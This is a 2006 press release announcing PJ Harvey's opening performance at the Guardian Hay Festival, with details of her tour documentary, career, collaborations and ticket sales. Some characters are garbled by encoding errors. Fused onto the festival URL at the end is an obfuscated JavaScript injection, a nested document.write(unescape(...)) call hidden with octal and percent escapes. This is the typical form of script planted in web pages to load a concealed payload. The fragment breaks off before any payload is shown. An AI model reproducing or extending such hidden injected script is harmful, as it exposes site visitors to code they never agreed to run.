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PJ Harvey will be making her first appearance at the Guardian Hay Festival this year on Friday 26th May, currently the only confirmed European performance by PJ Harvey this summer.
PJ Harvey's appearance at Hay follows a tradition of carefully selected live tour dates â€" which to date have included, amongst others, the Eden Project, The Royal Court Theatre and the first ever rock concert at Tate Modern.
Peter Florence, Festival Director, says today:
â€We are absolutely delighted that PJ Harvey will be opening this year's festival. I love PJ Harvey and she's perfect for Hay.“
The nineteenth annual ‘festival of ideas', the Guardian Hay Festival, will take place this year from the 26th May- 4th June 2006. This year's programme continues its tradition of combining a range of cultural experiences to stimulate the mind of the ‘thinking' festival goer.
PJ Harvey will join other musicians on the festival programme this year, including Beth Orton, Katherine Jenkins and the Welsh National Opera.
There will also be a special screening of PJ Harvey's first ever filmed documentary in the FilmFour Cinema at the Guardian Hay Festival. 'PJ Harvey On Tour: Please Leave Quietly', is available from May 1st and marks the release of PJ Harvey's first ever DVD. The filmed documentary follows Harvey's tour through Europe and the USA in support of her seventh album 'Uh Huh Her' [2004] and offers an intimate and insightful look into a world of touring, performing and travelling.
Polly Jean Harvey formed a bass / drums / guitar trio in 1991 in Dorset, prior to branching out as a solo artist in 1994. She went on to record numerous award-winning albums, becoming the first female to be awarded the Mercury Music Prize with her album ‘Stories From The City, Stories From The Sea'. She has collaborated with an extraordinary range of musicians, duetting with Thom Yorke, Nick Cave, Tricky, Howe Gelb of Giant Sand, Pascal Comelade, Gordon Gano of Violent Femmes. In addition she collaborated with Josh Homme of Queens Of The Stoneage on his acclaimed Desert Sessions project and appeared on the Sparklehorse album ‘It's A Wonderful Life'.
Tickets will be available online from 9am, 14th April 2006 www.hayfestival.comdocument.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
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